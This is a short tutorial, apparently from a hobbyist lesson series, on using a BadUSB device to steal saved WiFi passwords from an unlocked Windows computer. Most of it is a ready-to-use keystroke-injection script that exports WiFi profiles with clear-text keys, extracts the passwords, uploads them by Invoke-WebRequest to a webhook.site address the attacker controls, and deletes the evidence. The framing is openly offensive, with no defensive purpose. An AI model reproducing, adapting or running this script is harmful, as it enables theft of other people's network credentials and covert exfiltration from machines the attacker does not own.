WiFi Passwords

This lesson will show you how to use a BadUSB to steal WiFi passwords from an unlocked Windows computer.

My script is based on this Digispark sketch: github.com/MTK911/Attiny85, which is also featured in this YouTube video: $2 Rubber Ducky - Steal WiFi Passwords in Seconds.

But to make it work on my target computer, I had to make some adjustments. I also translated the Digispark sketch into BadUSB script my MalDuino W would accept:

LOCALE US
DELAY 3000
DEFAULTDELAY 200
GUI r
STRING powershell
ENTER
STRING cd $env:temp
ENTER
STRING netsh wlan export profile key=clear
ENTER
STRING Select-String -Path Wi.xml -Pattern 'keyMaterial' > Wi-Fi-PASS
ENTER
STRING Invoke-WebRequest -Uri https://webhook.site/YOUR_UNIQUE_ID -Method POST -InFile Wi-Fi-PASS
ENTER
STRING del Wi-
ENTER
STRING exit
ENTER

Don’t forget to open webhook.site and update the link in the script.